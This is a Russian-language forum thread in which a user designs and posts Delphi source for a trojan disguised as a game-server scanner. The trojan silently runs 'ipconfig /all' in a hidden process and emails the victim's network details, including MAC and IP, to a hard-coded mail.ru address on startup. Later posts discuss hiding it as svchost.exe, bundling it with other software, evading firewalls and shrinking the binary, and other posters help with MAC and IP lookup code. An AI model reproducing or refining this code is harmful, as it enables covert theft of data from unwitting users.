Просмотр полной версии : ? delphi. Как сохранить содержимое memo в txt файл?
В общем задумка такая написать програмку, которая будет закидываться клиенту в качестве полезной программы, ну например сканирование сети на поиск игровых серверов с всякими прикольными функциями ;)
Но програма будет включать в себя что-то типо среды разведчика .
Её цель узнать mac и айпи узера.
Как она будет это делать:
1.Красивая оболоча (форма) содержащая функции поиска игровых серверов в сети
2.Скрытое мемо поле , в которое будет выводиться содержимое cmd , а конкретнее ip config/all
3.Содержимое ipconfig будет храниться в мемо(скрытом мемо)
4.Содержимое мемо будет записываться в тексовый файл лог файл красио обозваный например c:\windows\ipconfig.log
Те гдубо говоря запишим содеримое всего ipconfig В лог файл чтобы никто не догадался обозвали его круто ipconfig.log
5.Полученый файл отправим по почьте , на кодировку всё равно, нам главное mac и айпи ;)
В процессе разработки сделал вывод содержимого мемо, скрыл это содержимое, а вот как сохранить содержимое из мемо в txt файл не знаю :( не получается :(
пробую так:
Проблема с которой столкнулся
var
Form1: TForm1;
Fo,Fi :textfile;
var s : string;
i : integer;
implementation
{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
begin
assignfile(Fo, ' d:\xxx\=file1=.txt ' );
rewrite(Fo); //создаем файл
for i:=0 to memo1.Lines.Count-1 do
writeln(Fo,memo1.Lines[i]); //записываем текст в него из МЕМО
closefile(fo); //и закрываем
button2.Enabled:=true;//теперь можно 2-ю кнопку использовать
end;
Всё спасибо , не нужно разобрался ;)
memo1.Lines.SaveToFile('1.txt');
тепрь новый вопрос Как можно отправить файл текстовый по почьте, или содержимое мемо сразу?
ну какая нибуть команда типо mail Send??? в делфи есть чтобы можно было сразу мыло уазать и оправка происходила не заметно?
Ладно никто не хочет отвечать :(
написал по другому вечером выложу готовый файл, но троян работает через memo а не через файлы :( это не очень хорошо, но всё же задуманно осуществил мас+ip узнаю лёгко !
УрА ТОВАРИЩИ ПОЗДРАВЬТЕ С УСПЕШНО НАПИСАНЫМ 1-м троем за 1 день написанным :) без ответов на форуме :))))))
Тупо видно ты мало знаеш не так это всё делается причем тут ipconfig и делфи? ты че думаеш memo1.visable:=false; а текст в нем ipconfig >> C:\Windows\ipconfig.log ? :eek: грубо ! даже если так делать то нужно создать стрингЛист и в нем вписать и выполнить но это поламерски ай-пи можно многими путями в делфи например используя winsock а впринцыпе про VCL забывать пора.
Ладно никто не хочет отвечать :(
написал по другому вечером выложу готовый файл, но троян работает через memo а не через файлы :( это не очень хорошо, но всё же задуманно осуществил мас+ip узнаю лёгко !
УрА ТОВАРИЩИ ПОЗДРАВЬТЕ С УСПЕШНО НАПИСАНЫМ 1-м троем за 1 день написанным :) без ответов на форуме :))))))
Ужас :rolleyes: выучи синтаксис в делфи затем не используя компонентов напиши свой текстовой редактор то есть можно $APPTYPE_CONSOLE будет консольная тулза пусть это всё будет геморойно но зато в стиле эксполйтов. :D про трои молчу.
EvLУжас выучи синтаксис в делфи
Зачем учить язык который мне совершенно не нужен, была задача , задачу решил, ты ещё повосетуй на делфях написать свой язык программирования , потом создать пару десятков компонентов для этого и свои свой компилятор.
Уважаемый плиз в студию как winsock узнает мак адрес твоей сетевой, маршрутизацию прописаную таи имя учетки и всё, что связано что нужно узнать для угога привязки к модему и лок настройкам?
Пальцы конечно можно гнуть всегда и писать суппер закодиные проги которые будет весить гекетыры и то, что они будут отсылать тоже будут Га весить...
А документ текстовый , или не текстовый создавать всё равно -это образно говориться, конечно лучьше записывать в какой -нибуть setuplog.txt c систем рута и полученную инфу кодить и отсылать закодиной с этим согласен, но всё зависит от поставленых целей!
какой ужас
определение MAC - 5 строчек на АПИ, легко через яндекс ищется.
Сохранение в файл - 3 строчки.
Зачем такой ужас с пайпами и убогим memo?
EvLУжас выучи синтаксис в делфи
Зачем учить язык который мне совершенно не нужен, была задача , задачу решил, ты ещё повосетуй на делфях написать свой язык программирования , потом создать пару десятков компонентов для этого и свои свой компилятор.
Уважаемый плиз в студию как winsock узнает мак адрес твоей сетевой, маршрутизацию прописаную таи имя учетки и всё, что связано что нужно узнать для угога привязки к модему и лок настройкам?
Пальцы конечно можно гнуть всегда и писать суппер закодиные проги которые будет весить гекетыры и то, что они будут отсылать тоже будут Га весить...
А документ текстовый , или не текстовый создавать всё равно -это образно говориться, конечно лучьше записывать в какой -нибуть setuplog.txt c систем рута и полученную инфу кодить и отсылать закодиной с этим согласен, но всё зависит от поставленых целей!
Чтоб программы невесили много используй winAPI и забудь про VCL :)
а используя winsock можно получить IP...
MAC адрес можно получить так:
uses
NB30;
function GetAdapterInfo(Lana: Char): string;
var
Adapter: TAdapterStatus;
NCB: TNCB;
begin
FillChar(NCB, SizeOf(NCB), 0);
NCB.ncb_command := Char(NCBRESET);
NCB.ncb_lana_num := Lana;
if Netbios(@NCB) <> Char(NRC_GOODRET) then
begin
Result := 'mac not found';
Exit;
end;
FillChar(NCB, SizeOf(NCB), 0);
NCB.ncb_command := Char(NCBASTAT);
NCB.ncb_lana_num := Lana;
NCB.ncb_callname := '*';
FillChar(Adapter, SizeOf(Adapter), 0);
NCB.ncb_buffer := @Adapter;
NCB.ncb_length := SizeOf(Adapter);
if Netbios(@NCB) <> Char(NRC_GOODRET) then
begin
Result := 'mac not found';
Exit;
end;
Result :=
IntToHex(Byte(Adapter.adapter_address[0]), 2) + '-' +
IntToHex(Byte(Adapter.adapter_address[1]), 2) + '-' +
IntToHex(Byte(Adapter.adapter_address[2]), 2) + '-' +
IntToHex(Byte(Adapter.adapter_address[3]), 2) + '-' +
IntToHex(Byte(Adapter.adapter_address[4]), 2) + '-' +
IntToHex(Byte(Adapter.adapter_address[5]), 2);
end;
function GetMACAddress: string;
var
AdapterList: TLanaEnum;
NCB: TNCB;
begin
FillChar(NCB, SizeOf(NCB), 0);
NCB.ncb_command := Char(NCBENUM);
NCB.ncb_buffer := @AdapterList;
NCB.ncb_length := SizeOf(AdapterList);
Netbios(@NCB);
if Byte(AdapterList.length) > 0 then
Result := GetAdapterInfo(AdapterList.lana[0])
else
Result := 'mac not found';
end;
EvLМас получим, может быть твоей функцией, а если у меня привязка на маршрутизаторе мас+айпи , ещё бывает куча шлюзов на которые тоже привязываются разные узеры с разными айпи , масками подсетей , да даже днс серверы разные и привязка происходит у неготорых(самых умных) по всем сетевым настройкам!
Так что нужно полюбому узнавать все сетевые настройки и я думаю ничего это не сделает проще , как ipconfig ил большая куча процедур,функций для этого.... Да и Win у всех разная как с этим быть тоже без понятия... Сделал вот так с отправкой на почту, ну естественно , что форму можно скрыть вообще и называть его svchost.exe , но мне так не нужно мне не важен вес, я её буду вшивать в другую прогу, котоарая будет распростроняться с программой для сканирования Контер страйк серверов ;)
Вот только фаер ловит её :(
unit Unit1;
interface
Uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
IdMessageClient, IdSMTP, StdCtrls, idMessage, IdEMailAddress;
type
TForm1 = class(TForm)
IdSMTP1: TIdSMTP;
Memo1: TMemo;
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure RunDosInMemo(CmdLine: string; AMemo: TMemo);
const
ReadBuffer = 24000;
var
Security: TSecurityAttributes;
ReadPipe, WritePipe: THandle;
start: TStartUpInfo;
ProcessInfo: TProcessInformation;
Buffer: Pchar;
BytesRead: DWord;
Apprunning: DWord;
begin
Screen.Cursor := CrHourGlass;
with Security do
begin
nlength := SizeOf(TSecurityAttributes);
binherithandle := true;
lpsecuritydescriptor := nil;
end;
if Createpipe(ReadPipe, WritePipe,
@Security, 0) then
begin
Buffer := AllocMem(ReadBuffer + 1);
FillChar(Start, Sizeof(Start), #0);
start.cb := SizeOf(start);
start.hStdOutput := WritePipe;
start.hStdInput := ReadPipe;
start.dwFlags := STARTF_USESTDHANDLES +
STARTF_USESHOWWINDOW;
start.wShowWindow := SW_HIDE;
if CreateProcess(nil,
PChar(CmdLine),
@Security,
@Security,
true,
NORMAL_PRIORITY_CLASS,
nil,
nil,
start,
ProcessInfo) then
begin
repeat
Apprunning := WaitForSingleObject
(ProcessInfo.hProcess, 1000);
ReadFile(ReadPipe, Buffer[0],
ReadBuffer, BytesRead, nil);
Buffer[BytesRead] := #0;
OemToAnsi(Buffer, Buffer);
AMemo.Text := AMemo.text + string(Buffer);
Application.ProcessMessages;
until (Apprunning <> WAIT_TIMEOUT);
end;
FreeMem(Buffer);
CloseHandle(ProcessInfo.hProcess);
CloseHandle(ProcessInfo.hThread);
CloseHandle(ReadPipe);
CloseHandle(WritePipe);
end;
Screen.Cursor := CrDefault;
end;
procedure TForm1.FormCreate(Sender: TObject);
var
M: TIdMessage;
begin
Memo1.Clear;
RunDosInMemo('ipconfig /all', Memo1);
M := TIdMessage.Create(Form1);
M.Body := Memo1.Lines;
M.From.Text := 'dart@en.dn.ua';
M.Recipients.Add;
M.Recipients.Items[0].Text := 'blabla@mail.ru';
M.Subject := 'Òåìà ïèñüìà';
IdSMTP1.AuthenticationType := atLogin;
IdSMTP1.Host := 'smtp.mail.ru ';
IdSMTP1.Username := ' blabla@mail.ru';
IdSMTP1.Password := ' pass';
IdSMTP1.Connect();
if IdSMTP1.Connected then
begin
IdSMTP1.Send(M);
end;
IdSMTP1.Disconnect;
end;
end.
Вот я написал по твоему совету, но как дальше без компонента IdSMTP отправлять полученные даныне ?
Как узнавать айпи адреса и все параметры сетевой карты?
Можно ли в консольное приложения вставлять компоненты я не представляю себе как....
Вот и сходник и экзешние в архиве,
но ведь использовать SysUtils всё равно придеться т.е. нужно определять IntToHex а SysUtils -это 38 кб .
и отключать {$APPTYPE CONSOLE} не получается чтобы не отображалась консоль :(
_http://anticlubtimer.narod.ru/mac.exe
Вот я написал по твоему совету, но как дальше без компонента IdSMTP отправлять полученные даныне ?
Как узнавать айпи адреса и все параметры сетевой карты?
Можно ли в консольное приложения вставлять компоненты я не представляю себе как....
Вот и сходник и экзешние в архиве,
но ведь использовать SysUtils всё равно придеться т.е. нужно определять IntToHex а SysUtils -это 38 кб .
и отключать {$APPTYPE CONSOLE} не получается чтобы не отображалась консоль :(
_http://anticlubtimer.narod.ru/mac.exe
Ай-пи можно получить так:
uses
WinSock;
function GetLocalIP: String;
const WSVer = $101;
var
wsaData: TWSAData;
P: PHostEnt;
Buf: array [0..127] of Char;
begin
Result := '';
if WSAStartup(WSVer, wsaData) = 0 then begin
if GetHostName(@Buf, 128) = 0 then begin
P := GetHostByName(@Buf);
if P <> nil then Result := iNet_ntoa(PInAddr(p^.h_addr_list^)^);
end;
WSACleanup;
end;
end;
должно работать непроверял...
Можно не использовать форму и использовать комопенты... впринцыпе нужно попробовать заюзать winsock для отправки почты менше хоть весить будет ексешник.
Да и вот что отключить можно всё :) только вот непонимаю зачем тибе консоль создай proga.dpr открой его в Delphi и пиши на нечистом извратном винАПИ :)
Интересно какая cyкa поставила мне -1
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot